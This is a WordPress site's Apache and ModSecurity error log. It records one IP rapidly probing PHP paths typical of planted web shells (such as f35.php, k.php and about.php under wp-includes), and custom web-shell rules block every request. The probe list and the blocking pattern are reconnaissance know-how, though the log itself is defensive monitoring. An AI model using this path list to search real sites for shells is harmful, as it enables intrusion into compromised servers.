[Sun Apr 26 04:46:08.864102 2026] [:error] [pid 8385:tid 8432] [client 20.91.188.120:65189] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "ae0oEDOy7_J84Wx3-oxQMAAAAEg"]
[Sun Apr 26 04:46:11.929423 2026] [:error] [pid 10315:tid 10337] [client 20.91.188.120:52725] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "ae0oE6JIw2vjkleLIaB1ZQAAARQ"]
[Sun Apr 26 04:46:13.118657 2026] [:error] [pid 41906:tid 41931] [client 20.91.188.120:4155] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "ae0oFT3-0A3lxw9OXoDlSAAAAZc"]
[Sun Apr 26 04:46:14.211889 2026] [:error] [pid 8385:tid 8424] [client 20.91.188.120:35743] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "ae0oFjOy7_J84Wx3-oxQNQAAAEA"]
[Sun Apr 26 04:46:15.495417 2026] [:error] [pid 10315:tid 10317] [client 20.91.188.120:11696] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ae0oF6JIw2vjkleLIaB1dgAAAQA"]
[Sun Apr 26 04:46:16.427662 2026] [:error] [pid 8383:tid 8411] [client 20.91.188.120:11672] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ae0oGNFa2S3EsATMdWOwPgAAAA4"]
[Sun Apr 26 04:46:17.736849 2026] [:error] [pid 41906:tid 41922] [client 20.91.188.120:4542] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ae0oGT3-0A3lxw9OXoDlTgAAAY4"]
[Sun Apr 26 04:46:19.105277 2026] [:error] [pid 41906:tid 41913] [client 20.91.188.120:4105] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ae0oGz3-0A3lxw9OXoDlVAAAAYU"]
[Sun Apr 26 04:46:20.037503 2026] [:error] [pid 41906:tid 41919] [client 20.91.188.120:49427] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "ae0oHD3-0A3lxw9OXoDlWAAAAYs"]
[Sun Apr 26 04:46:21.435665 2026] [:error] [pid 31273:tid 31346] [client 20.91.188.120:4146] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "ae0oHfhcNJEGrATcuEeqrwAAAUg"]
[Sun Apr 26 04:46:22.243893 2026] [:error] [pid 41906:tid 41918] [client 20.91.188.120:51354] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "ae0oHj3-0A3lxw9OXoDlYAAAAYo"]
[Sun Apr 26 04:46:23.199950 2026] [:error] [pid 31273:tid 31361] [client 20.91.188.120:54974] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "ae0oH_hcNJEGrATcuEeqtgAAAVY"]
[Sun Apr 26 04:46:23.891473 2026] [:error] [pid 8491:tid 8515] [client 20.91.188.120:49428] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "ae0oHyq7I7e6CJooQM16xAAAANA"]
[Sun Apr 26 04:46:25.377740 2026] [:error] [pid 31273:tid 31351] [client 20.91.188.120:13711] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "ae0oIfhcNJEGrATcuEequQAAAUw"]
[Sun Apr 26 04:46:26.187735 2026] [:error] [pid 8390:tid 8465] [client 20.91.188.120:4111] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "ae0oIoGPtFK_i9p5yxQAUAAAAI4"]
[Sun Apr 26 04:46:27.534580 2026] [:error] [pid 41906:tid 41929] [client 20.91.188.120:13753] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "ae0oIz3-0A3lxw9OXoDlaQAAAZU"]
[Sun Apr 26 04:46:29.450284 2026] [:error] [pid 8385:tid 8441] [client 20.91.188.120:31293] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "ae0oJTOy7_J84Wx3-oxQPgAAAFE"]
[Sun Apr 26 04:46:30.340560 2026] [:error] [pid 8491:tid 8507] [client 20.91.188.120:51364] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "ae0oJiq7I7e6CJooQM16xwAAAMg"]
[Sun Apr 26 04:46:31.432092 2026] [:error] [pid 8383:tid 8410] [client 20.91.188.120:65168] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "ae0oJ9Fa2S3EsATMdWOwRAAAAA0"]
[Sun Apr 26 04:46:32.740350 2026] [:error] [pid 8385:tid 8444] [client 20.91.188.120:12017] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "ae0oKDOy7_J84Wx3-oxQQQAAAFQ"]
[Sun Apr 26 04:46:35.252577 2026] [:error] [pid 8385:tid 8440] [client 20.91.188.120:11665] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "ae0oKzOy7_J84Wx3-oxQRAAAAFA"]
[Sun Apr 26 04:46:36.254273 2026] [:error] [pid 8383:tid 8416] [client 20.91.188.120:51332] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "ae0oLNFa2S3EsATMdWOwRwAAABM"]
[Sun Apr 26 04:46:45.305757 2026] [autoindex:error] [pid 31273:tid 31358] [client 20.91.188.120:4663] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 26 04:46:47.582107 2026] [autoindex:error] [pid 31273:tid 31346] [client 20.91.188.120:4663] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 26 04:46:59.130468 2026] [:error] [pid 31273:tid 31344] [client 20.91.188.120:4663] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "ae0oQ_hcNJEGrATcuEeq8wAAAUY"]
[Sun Apr 26 04:47:00.540861 2026] [:error] [pid 8383:tid 8406] [client 20.91.188.120:39618] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "ae0oRNFa2S3EsATMdWOwWQAAAAk"]
[Sun Apr 26 04:47:01.448540 2026] [:error] [pid 41906:tid 41929] [client 20.91.188.120:38908] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "ae0oRT3-0A3lxw9OXoDlpQAAAZU"]
[Sun Apr 26 04:47:02.367452 2026] [:error] [pid 41906:tid 41916] [client 20.91.188.120:55397] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "ae0oRj3-0A3lxw9OXoDlqQAAAYg"]
[Sun Apr 26 04:47:03.361190 2026] [:error] [pid 31273:tid 31354] [client 20.91.188.120:22816] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "ae0oR_hcNJEGrATcuEeq9gAAAU8"]
[Sun Apr 26 04:47:04.141565 2026] [:error] [pid 8383:tid 8405] [client 20.91.188.120:30370] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "ae0oSNFa2S3EsATMdWOwZgAAAAg"]
[Sun Apr 26 04:47:05.467011 2026] [:error] [pid 31273:tid 31361] [client 20.91.188.120:53257] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "ae0oSfhcNJEGrATcuEeq-gAAAVY"]
[Sun Apr 26 04:47:07.101277 2026] [:error] [pid 41906:tid 41929] [client 20.91.188.120:59749] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "ae0oSz3-0A3lxw9OXoDltQAAAZU"]
[Sun Apr 26 04:47:09.654968 2026] [:error] [pid 31273:tid 31351] [client 20.91.188.120:51387] [client 20.91.188.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ae0oTfhcNJEGrATcuEerAAAAAUw"]
[Sun Apr 26 04:47:11.233603 2026] [:error] [pid 8383:tid 8415] [client 20.91.188.120:4277] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ae0oT9Fa2S3EsATMdWOwagAAABI"]
[Sun Apr 26 04:47:33.330570 2026] [:error] [pid 8385:tid 8435] [client 20.91.188.120:51424] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ae0oZTOy7_J84Wx3-oxQaQAAAEs"]
[Sun Apr 26 04:47:36.586149 2026] [:error] [pid 8491:tid 8523] [client 20.91.188.120:4581] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "ae0oaCq7I7e6CJooQM166QAAANc"]
[Sun Apr 26 04:47:37.513935 2026] [:error] [pid 8385:tid 8425] [client 20.91.188.120:10304] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "ae0oaTOy7_J84Wx3-oxQcAAAAEE"]
[Sun Apr 26 04:47:43.141321 2026] [:error] [pid 31273:tid 31345] [client 20.91.188.120:62832] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "ae0ob_hcNJEGrATcuEerMgAAAUc"]
[Sun Apr 26 04:47:44.361003 2026] [:error] [pid 8491:tid 8519] [client 20.91.188.120:51419] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "ae0ocCq7I7e6CJooQM167AAAANQ"]
[Sun Apr 26 04:47:45.275979 2026] [:error] [pid 10315:tid 10322] [client 20.91.188.120:4558] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "ae0ocaJIw2vjkleLIaB2AAAAAQU"]
[Sun Apr 26 04:47:46.479722 2026] [:error] [pid 41906:tid 41922] [client 20.91.188.120:31232] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "ae0ocj3-0A3lxw9OXoDmDgAAAY4"]
[Sun Apr 26 04:47:47.890483 2026] [:error] [pid 31273:tid 31339] [client 20.91.188.120:25027] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "ae0oc_hcNJEGrATcuEerOgAAAUM"]
[Sun Apr 26 04:47:49.563179 2026] [:error] [pid 10315:tid 10332] [client 20.91.188.120:5065] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "ae0odaJIw2vjkleLIaB2CgAAAQ8"]
[Sun Apr 26 04:47:50.572487 2026] [:error] [pid 31273:tid 31357] [client 20.91.188.120:10282] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "ae0odvhcNJEGrATcuEerSAAAAVI"]
[Sun Apr 26 04:47:51.683546 2026] [:error] [pid 8491:tid 8516] [client 20.91.188.120:4425] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "ae0odyq7I7e6CJooQM168QAAANE"]
[Sun Apr 26 04:47:52.730608 2026] [:error] [pid 31273:tid 31345] [client 20.91.188.120:23001] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "ae0oePhcNJEGrATcuEerTQAAAUc"]
[Sun Apr 26 04:47:53.568724 2026] [:error] [pid 31273:tid 31355] [client 20.91.188.120:38327] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "ae0oefhcNJEGrATcuEerTwAAAVA"]
[Sun Apr 26 04:47:55.392864 2026] [:error] [pid 31273:tid 31353] [client 20.91.188.120:31879] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "ae0oe_hcNJEGrATcuEerUgAAAU4"]
[Sun Apr 26 04:47:56.332511 2026] [:error] [pid 8385:tid 8424] [client 20.91.188.120:5098] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "ae0ofDOy7_J84Wx3-oxQfgAAAEA"]
[Sun Apr 26 04:48:15.220758 2026] [:error] [pid 10315:tid 10330] [client 20.91.188.120:38298] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "ae0oj6JIw2vjkleLIaB2MgAAAQ0"]
[Sun Apr 26 04:48:16.149111 2026] [:error] [pid 41906:tid 41908] [client 20.91.188.120:21686] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "ae0okD3-0A3lxw9OXoDmMgAAAYA"]
[Sun Apr 26 04:48:17.515341 2026] [:error] [pid 41906:tid 41930] [client 20.91.188.120:44489] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "ae0okT3-0A3lxw9OXoDmOQAAAZY"]
[Sun Apr 26 04:48:19.105697 2026] [:error] [pid 41906:tid 41923] [client 20.91.188.120:4188] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "ae0okz3-0A3lxw9OXoDmPQAAAY8"]
[Sun Apr 26 04:48:20.593785 2026] [:error] [pid 31273:tid 31362] [client 20.91.188.120:53361] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "ae0olPhcNJEGrATcuEeriwAAAVc"]
[Sun Apr 26 04:48:22.517728 2026] [:error] [pid 8390:tid 8474] [client 20.91.188.120:4178] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "ae0oloGPtFK_i9p5yxQBDgAAAJc"]
[Sun Apr 26 04:48:23.832533 2026] [:error] [pid 41906:tid 41920] [client 20.91.188.120:51943] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "ae0olz3-0A3lxw9OXoDmRwAAAYw"]
